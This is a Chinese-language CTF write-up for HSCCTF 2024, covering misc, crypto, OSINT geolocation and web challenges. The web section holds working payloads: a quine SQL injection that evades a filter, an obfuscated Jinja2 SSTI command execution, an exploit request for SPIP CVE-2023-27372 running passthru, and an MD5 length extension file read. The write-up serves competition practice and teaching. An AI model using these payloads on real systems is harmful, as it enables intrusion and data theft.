2024HSCCTF

MISC

Sign

010手提出来图片

image-20240309180120998

写了HAPPY_NEW_YEAR,猜测是密码、

outguess提取

1
outguess -k HAPPY_NEW_YEAR -r happy.jpg 1.txt

HSCCTF{Welcome_to_HSCCTF}

Web

PWD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php
error_reporting(0);
highlight_file(__FILE__);
$con = mysqli_connect("localhost","root","root","ccut");
function waffff($sql) {
if (preg_match("/infor|sys|sql|thread|case|when|if|like|left|right|mid|cmp|sub|locate|position|match|find|field|sleep|repeat|lock|bench|process|<|>|=|xor|and|&&|\\\\/i", $sql)) {
die("hacker");
}
}
if (isset($_POST['password'])) {
$password = $_POST['password'];
waffff($password);
$sql = "SELECT password FROM users WHERE username='admin' and password='$password'";
$user_result = mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if ($row['password'] === $password) {
include "/flag";
} else {
echo "error";
}
}

quine注入

核心思想就是让sql语句执行的结果等于sql语句本身,来绕过这个验证
$row['password'] === $password

payload:

1
password='UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("1",CHAR(34),CHAR(39)),CHAR(49),"1")%23',CHAR(34),CHAR(39)),CHAR(49),'"UNION/**/SELECT/**/REPLACE(REPLACE("1",CHAR(34),CHAR(39)),CHAR(49),"1")%23')%23

quine最好玩的就在replace和char的配合上

1
2
3
CHAR(34)="
CHAR(39)='
CHAR(33)=!

REPLACE ( string_expression , string_pattern , string_replacement )
参数含义:
string_expression 要搜索的字符串表达式。string_expression 可以是字符或二进制数据类型。
string_pattern 是要查找的子字符串。string_pattern 可以是字符或二进制数据类型。string_pattern 不能是空字符串 (‘’)。
string_replacement 替换字符串。string_replacement 可以是字符或二进制数据类型。

SHIROSHORTMENSHELL

工具秒了

image-20240309140527234

TMPL

ssti过滤了.’”+[]

1
{%set unn=(lipsum|escape|batch(22)|list|first|last)%}{%set perc=(lipsum()|urlencode|first)%}{{(((((((lipsum|attr(unn*2~((dict(g=x)|join)~(dict(l=x)|join)~(dict(o=x)|join)~(dict(b=x)|join)~(dict(a=x)|join)~(dict(l=x)|join)~(dict(s=x)|join))~unn*2))|attr(unn*2~((dict(g=x)|join)~(dict(e=x)|join)~(dict(t=x)|join)~(dict(i=x)|join)~(dict(t=x)|join)~(dict(e=x)|join)~(dict(m=x)|join))~unn*2))(unn*2~((dict(b=x)|join)~(dict(u=x)|join)~(dict(i=x)|join)~(dict(l=x)|join)~(dict(t=x)|join)~(dict(i=x)|join)~(dict(n=x)|join)~(dict(s=x)|join))~unn*2)|attr(unn*2~((dict(g=x)|join)~(dict(e=x)|join)~(dict(t=x)|join)~(dict(i=x)|join)~(dict(t=x)|join)~(dict(e=x)|join)~(dict(m=x)|join))~unn*2))(unn*2~((dict(i=x)|join)~(dict(m=x)|join)~(dict(p=x)|join)~(dict(o=x)|join)~(dict(r=x)|join)~(dict(t=x)|join))~unn*2)(((dict(o=x)|join)~(dict(s=x)|join)))|attr(((dict(p=x)|join)~(dict(o=x)|join)~(dict(p=x)|join)~(dict(e=x)|join)~(dict(n=x)|join))))((((perc~(dict(c=x)|join))*9)%(99,97,116,32,47,102,108,97,103))))|attr(((dict(r=x)|join)~(dict(e=x)|join)~(dict(a=x)|join)~(dict(d=x)|join))))())}}

DESERIALIZATION

搜索发现是SPIP漏洞【SPIP远程代码执行漏洞(CVE-2023-27372)】

借用文章里的payload发现php被过滤了,短标签绕过,

1
page=spip_pass&formulaire_action=oubli&formulaire_action_args=JWFEz0e3UDloiG3zKNtcjKCjPLtvQ3Ec0vfRTgIG7u7L0csbb259X+uk1lEX5F3/09Cb1W8MzTye1Q==&oubli=s:35:"<?=passthru('cut -c 1-50 /fla?');?>";&nobot=fr

payload注意反序列化字符串需要对应上

LOG

借鉴佬博客https://blog.csdn.net/Jayjay___/article/details/134147184

花了10分看了hint才出

hint:同学发给我一个网址https://x.x.x.x/?md5=9c80d2bb0bccfefeb3750744c0760496&applicant=admin&filename=web.log,说让我帮忙看看网站运行日志,同学说这是他写的一个非常安全方便的文件查看器。 真的安全吗?

​ 源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php
error_reporting(0);
$secret=getenv("SECRETKEY"); # For security reasons, the key length is greater than 8.

if(isset($_GET["md5"]) && isset($_GET["applicant"]) && isset($_GET["filename"])){
if($_GET["md5"] === md5($secret.$_GET["applicant"].$_GET["filename"])){
$file_contents = file_get_contents($_GET["filename"]);
echo $file_contents;
}else{
die("My tool is safe.");
}
}else{
highlight_file(__FILE__);
}

看着像哈希长度扩展攻击

满足:md5("密文"+"处理过的已知字符串")=处理过的哈希值

用了hint给的payload试试

image-20240310183718759

确定了哈希长度扩展攻击

题目说长度大于8,咱们爆破呗,8…9..10

image-20240310183810170

Input Signature: 9c80d2bb0bccfefeb3750744c0760496
Input Data: adminweb.log
Input Key Length: 15
Input Data to Add: /flag
46879013726bfb7dff6921fd2e9ab2f8
adminweb.log\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd8\x00\x00\x00\x00\x00\x00\x00/flag

Input Signature #现有哈希值(题目给的MD5)
Input Data #已知字符串”web”
Input Key Length #为密文长度”41”
Input Data to Add #为补位后自己加的字符串(自定义)

\x换成%然后url编码一下就行。

image-20240310184017107

Crypto

FUNNY

1
2
3
4
5
6
7
8
9
10
from Crypto.Util.number import *
from gmpy2 import *

p = 1627858721743596752497831640628357323459243890844363792736407789751577427319257708507686114456632938183775129585728892845205290864750578798354859933996208521450129131173352490118085939969385911306718129785035108056909135931322755908602656567223998858450130768625587559935064753603718657989533793373124922891077849376447589198239126291127263234784363556777780461489387706699053671315621968807065360907667815336609878856798387057891974730460404647229308105442629038061284060276648993434681114539955086828451085582033288860959729755856478065093327544217813990665326820156340461326538271909605715822484950196033809892232121330623027855970475888202583512234213349462680452400729903400494519431590431864717223438807093669836615356855072370571595889807712166659061190031457954071146645411277702230847389264989391715763232453605404095019402186331633202953693057641475300619482863265936513394341066776619336452923951439714749067348507
q = 165059760196977338034268528857897083190717585647808271832795575354736221674892279730906525407442580833042731114617534865267230347093979480666213073939602212663043286794259410177026619955285626139270678815060566416554620185859901611571955490060241822054715533030464833509114500388615748465579240918292431860839
c = 209347444484196477254668267578954904181293909211985372842733666165076889646025992007884927283300662833989678431462547742385291078285045060028956748455410812196305788814280968487973559115983082461315009316488143477261307107939530267533197821947240438534411830018967506368459544025037634267899970815198992392565948727381322854560823769432552779881938316107779842525092269591932257206582810678457433166038809740255591841951300818106018061065936083887559841543250701094558114335651396741896281230175124133873529005816838785880680073159461666783649744640398010841282229366323100807220116460976549981263966530038289223576133865992894885483308732021144420507955669760623032114718333853671281281221009397028372653797668774820725717817362383394165014402977767667433542733963298092312930702496796235196487999167666133884266829605503363510544384236303968829214389757297563873395131798724306227675722494797069994655456021649231626359765579028950908065367760981736933167557841586896807116262630848742514005606289980676609588756946993271763119859088002784499062149533167332388600036550273743940503131248513795389688869470432261503038708892320267815658450917855334244502333938120781251564676408212996623419957317150267768978807968208353379334556945

d = inverse(65537, q - 1)
m = powmod(c, d, q)
print(long_to_bytes(m))

REAL_SIGN_IN

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from Crypto.Util.number import *
from gmpy2 import *
e = 65537
c1 = 10454892625278317641789872724686322205927252335791803070937784201169059579634108503308033729970364983743915474860354063759051514315619953792921367621385574749886778911471839079815820922430263016140141364094131496885155882486798302404238523986615316359385759537428069831379320707742928167131988641527992674882901567191207763547432299532710945549959580670112346830919500694014972444803904248586178887470465867991650480024904327432717911313867713120525202669101524778826445503383549733326775312427637839488477432162027468606568090607495541492335140760946449358303999218277269859230888292780234275495274787996001069959971
c2 = 3809937396638973793281111150837774607768836561256425490071061814543315217182689579329457784159377040740840790603579270672790822179042079055887400637582022659400594844425891666493759469522229692267103516295923589666151948947533002975509430505778081264268698292606209538047240829756919764958544518311993684790118122163859571923899116815269989298822142104789156965964388346807167061332155392766290531602747731916010774318400533536413925876554324550780136191458776623029231802991319498346243427246484439391940676640693616519788950250194620455331557435567742874072637005171754550020619361150150760807391307377493836703076
c3 = 11563829913521314742585136805475993461403465700108053759771484386843765447294825812595747844564874801821547385942939017711043792590427266240133027831461974927558652665067213878683577605892319949704019193752250409813868906421753286690558646631157080887991363101311595921894128110588310204725909211948500421818595333014728114922612870236792445180757918034580210383348205174677492784034863701447097219480133095005954043490631339361280493810083309703940614371501369647446672052159714963350601039281652141446041256158792981347520865671115091097366786582678000769990989485879756562971825181583852052194492966890258786944315
c4 = 12720867554077215609167247949706745145667570273372296302246080668969511222297653722462456233088262153562301044885409538816931281414687572296907970004441185871229786306419586839050961363065587925188623309437687878362349712010861419409491068481019724226070296781806932012179356550421791040143093709543578156689726256993615533679238619784087615967419616376736870824897695863732260595608905898821074250285903989668303290834003098691902990265526695777899489911426855957844561961729063644070823142386451495647995297413399808476505524581260464059786283824394788336780567702950051743361294131648282343329587709077103035316720
c5 = 1996576325989768324317887012680560370528949194626393664650182754791578697786369958145137743555674312911707989139883926276952465377328602829900403114611234863417183707678398047030046855450074260654432278156903388641948696716193734714839957624359533486844023111115297718398319120718217043728064595217651738180806194912581964346594873253580010279706758241793778842399330631789750327865945625117967957133863637176404309782516880511747771793712203903185512285327103080133567660391921038681393551945607152726063692641742286406772926103324078574181176632321287759066802783643421564667257668981655199672490410258387124896839
c6 = 16972901653690784382193404778525843883847230468707217844241233207197480301434902629018088740822889948972102445668033489181324675531537650785766582307112083721410506834279363487814759021815005839906656731069521758605293428928322712895510490968448490116732590950772037788323801838566829526879837783860631971103738986788475652187080935944428662363573097225322630574705977616143315497272754050608117449938161772409924992453640310621899223691851303921323537779068346575997621024660907750345496836548887894110692437965970524341315015139872598871247336564148953981001708145253728789799483753931039894943324458172207408514055
c7 = 19248329020030453774384696880312801243022181399316695013193573740699955812434234453445733160128408889312090775734047782876100145988183327884917215679382382881065419870764186721970622248713761494850863082727373673264251951250813933154161422645331713437130381414540777017708015790836797014483890216068812718266206449620134392843370036352310247384624064366465809379383305877737001168693796305842850301708205795174536047495356081533121119809621200677554802850741327026857766466801847093397207492834507197621929666294565502206253758771807936447505283097006026148803103761799795917848061959407655084012166916418019312249784
c8 = 1557912453709476966737076991561069916132026563623952214325899450684779611396005511525194425002377424080593548871717093344298154722414402662579348749814362372502553596876087924405512346139642130044966150910684629355033505918013408065432489689359533653824531829749196503353303426506457519870729578421517704788083837871239684468506646791031429111449024396111145925900274462731352865657439734650971847748974665555525054155117163435567228916046859498167502129739768590572170326191362542459346405142436764480239930123323175219488501180973820200030365386979265642090761227134669853119027964377516064450203673169996741108201
c9 = 7054636121132343583858699301095750714111235817920115459468707884725018199621185268565462099537583727231123935665880304441155106987655834264363622503952228720525242179508079016631089564472694196928292967592007090527901832440980478605545275893294775905732209796463597105116676363505607644384293210905609044898854823349412282236466031666385339991490559120640881321780940909164095426401350314009757434019464208207922992311335823038396957805698822367795673327054284423260967631762122524511318733561339982590040303505605155884427567432712042870632816967182611225212150848091424300840160529323960243459920269872536666352976
c10 = 6039122660803656157700054739064564338439549484695206214016006129508782362229842967602464077735874540107161459041835340990108817139672137870642935613531313583963930144871458733026396223674801557621036949312116639217447114899726858984281194116508244403985568785765273838572470898925521147022021516862658967584135454474355381073026066426450614788381002057980590442338766869104957577338546687759141228942149374485785893539335288536729328218172278370763183603422629799846611737710865681572257803448960656692506773086527389616178693152885260795303008111935277529561576915114165678564997923634906377059491989399467738069641
c11 = 20247005397625616228661928392695469647749434533141783786437968083066137357689767280753532605896419173332597529708801946906363780592876111104850302784033136335456683361128603662454728234349563238948801712907903185993561076754164552845510795293521029798357876214260903355702688269527465118808832941386890598851762900876512383557653940846232884627557957652638581022140825373023173482471791720148792301241581919765510220083079365311297081633979398855966991069020584462613981094888736916444009463104235004451765533162593406749138640537670707679905027165914805299755934758172748227146495107002603546338597452964759860431081
n1 = 13266094979118433615107077438835111371457503704538616496563510289250600197984029767950953071723442381279904747724269706555801425883117040972832035397268347603612025741219452353130266755150965019441092380030226256032720651858600172996344598355816134478110939124633509594465443169697188695226358357129879780253706604232278678465680358018262084198108533077519049507811758423498512565521615931699494491595078723098101084217611204442585182103261006086144344612398896576066999950905966920722348056083426326740287336766359383868804991393096926457607860171709146742941740864780610226463852018204647096292737915760430291250813
n2 = 13561524319281645924409429988746244285924512610515302181526524036825687984904507677894611353344735741110533280540372734178963216876945066232927791369207852762146826883906093804958723203309030840804897999205074456325062789110452940484077408580876939074453733126571662068654441714639301799127584606087971553812926212292460761915985786461807649546286330834719746624387850833859250717790492671884734393055454074719585937904232516659582736211933280011591605069686791049628396762690038333975652490908544846890333889140489210242676577675968427325105786641017561929481335597681693818435892140856959673754213600282444761045909
n3 = 20819967432768567938753694422911303382713641435728476601586838051751312782014589687874100683447016549893853820399247909653519950995166805072380656652093579604808569443345700131756901813968185726839863492859231569896747987531341038527577030274701158504736611486411122416871876820360598851918276248520018793494992493852386399935919098185299268920688465446256283333918993392163947559470887074488117510961172278330026050882249897526926951246915378841961743261451053094912730850754242934166148766977209435597121171360066632973035097557482087715745940551760350028517912402795353929678770383484462337839762404384487582066453
n4 = 19517605474769458566764053169103203900538883167125789442948194023333599294853531273087386563161613748743818343948170765525802041313369094525708034240492038517491037697421019698672940028061489377078569027204940525741751607758706837789276571889269840463242449627036923444536643477208091664006240106337894541529098279162689793633659155131183323675883233214674098857553487390844015483326711766090826364639791072315148015450491509411705543419711632894282105698410629463141048089867016193055384530738113369352506445669521342292860468297676826301170714618519525841753642713267083007541894156522819536935129135488289198694889
n5 = 15315765971812428868126611109300419975777573811870059860288938012581131143314666287089472408729190306740351316922426244732585067377217502116440145450875665683575473308102742095244349804293311006664351646952181210686812748912418175736013835669191549110546127830831456068811493086787520032272004231879188572130659936937680177977058975692716116961651093033986073297040678707534300965722868263825444198679243070507413216087205293997006805636338567585815764233374917745809135568855524993022583535608349280044851332779641619210310837108819273508771161881712796235518243572549756276118053736270122787899173695729089911000177
n6 = 22501623321194869030526666823514739767749207843970334295553523279818676682652976959807729381646792676134988101065783136759904452189288813040860021497429422935571083993146794186207853146483681094375360774768406629588311381375206331368965836725531623084019451921330442379292718421616088275750226791314378297932358311378533569620671423740598033204639634035814689781736104197321348154999759210532651451336192376531975837284751978609197068573278551236896713762616106051882505752287773203197087939983952212761603430314087275042009367400077728025285967811883773835952547025411853395307325959904214255100115763377527761863243
n7 = 20222972180177072345801227937253710431874005900913732040381986459681923475683145372990375296354647420667483866455563976492495863306613645199351725323069254033914660444884681801701527128578914815647228265457580192591405358646605069362025887082090772778349481109768859094222573588734354390770166651349176555216207359309348018342505464249804607873118984688190648392606550835717828160317062604597079101529586592809846608153548090689114431569844519317969076852156023429809918618137153901636552629572816865533796914796916912143735510069871682428043277595493567381686086440480398579063801490541087200975224372047447666853577
n8 = 28799545621025859784610107508239196961299975467825740831913751504915874851330462439158635575405356818113410333683180082332165697120427112955103148744439425445183885200419323900649247390987373643732545351428341672132606990651983217136427779727640093677134233750683573339125630816150512829880758197582740742903567508671599670638441690064624970884849155079924261319378412468315205937959638074779010811695132863607314175199659821450983825173738122749043063821539706648079731459596593171608003970504410762959266052601005965264083020025264976022719772719760327913949451765549596654112776579032915566112007668167772800022899
n9 = 10724722645304259715795299819065674754042984013786210584506231300619560676108475536395272046569973743641251757746061197828519780315618458377103563062231183483417813026164932742828160245936263717653018746001798106670074713826425538758327538077666818411803556790303118703675214570232032363741244652199877829850941356975349610433270602500949664737614829264570720376982697613497917773407899889472415398738368753150300782201701629840263791099898799223939097237737763305744244520913831151361155926462086252389196548583215275230652627205709362921989235487237437830519479308853639024184940767904019468405024567279269194660457
n10 = 16304817901397483417456609341516124523232426780023397228272913044723365389571327797134591736977502692057727416394924310828824378024812777529367342707896494815960255682947685036902235997899886291633609041685897197272675911304941501067794795285949540313990226409651292120126492714998892290044111541098365692731185787360609198921681736777103794430653696698141195954719030883935151980847339939213040373252819145655067286986300641668994700390921458682571619409488233289211738521046085311253119526685912893458131534718050802684180285138809217274273877376347024021056317566312186133916744533463879779997794540361760393219489
n11 = 26625591570108917991847624024325819020320989255483608230644879476517915211995542896341416515605576928392317717654695767006784744751962205355107012859426134474074616134986414248054781712130892076462288761672616993287474215271046602443215449210026303978249752825306035097841429567784265656890801589418315449927543660131967365276637662563112328427813183398517944210120851841495001293543971765864382060100600179108814852829473884481867272716907064729991187798328733196676298681328399250356028155411865948758466337763025886685436650643428510593697176416735568250615673642866668416526682341721998481502482877972649018501469

for i in range(1, 11):
for j in range(i + 1, 11):
ni = eval("n" + str(i))
nj = eval("n" + str(j))
p = gcd(ni, nj)
if p > 1:
c = eval("c" + str(i))
q = ni // p
d = invert(e, (p - 1) * (q - 1))
flag = long_to_bytes(pow(c, d, ni))
print(flag)

OSint

NICE_RIVER

谷歌识图找到完全识别图片

image-20240310194021635

位置就在广州洲际酒店

​ HSCCTF{23.10406,113.38475}

CITY(一血哈哈哈)

百度识图发现是中达宜居荷苑

image-20240309170515390

去搜索发现在菏泽市牡丹区

结合原图发现市三院,市精神卫生中心还有超市入口确定是这附近了

image-20240309170735302

在试了8次错误后得到了flag

HSCCTF{山东省菏泽市牡丹区黄巢路7号}

谴责出题人格式打错了

город

谷歌识图

image-20240310160404035

发现很相似去搜索对应地点发现,有个相似的

image-20240310193823974

大体位置在此

image-20240310193919567

HSCCTF{62.03706,129.73613}

CAR

谷歌识图发现

image-20240310162607987

去观察街景发现是这里

image-20240310162712406

根据位置去谷歌确定位置

image-20240310162739583

JAPAN

发现图片上有位置标识

アーラ浜

アーラ林道

image-20240310194134495

找到大体位置

image-20240310194258051

根据3.5km和0.4km寻找一下

image-20240310194350908

HSCCTF{26.33447,126.77210}

WELCOME_TO_HSCCTF

玻璃上发现部分信息,有点不好看可以看投影

电话号码大概是(03338) 76 4

店名字Kosmetik

image-20240310212129276

去搜找到https://web2.cylex.de/firma-home/friseur-u--kosmetik-salon-aerts-5423368.html

image-20240310222853033

看地址

image-20240310222917733

HSCCTF{52.67848,13.57222}

FLAG

直接搜到标记点Strelka Vasil’yevskogo Ostrova

image-20240310200023014

image-20240310200051236

​ 找到目的地,确定一下拍摄地点

image-20240310200132330

HSCCTF{59.94389,30.30600}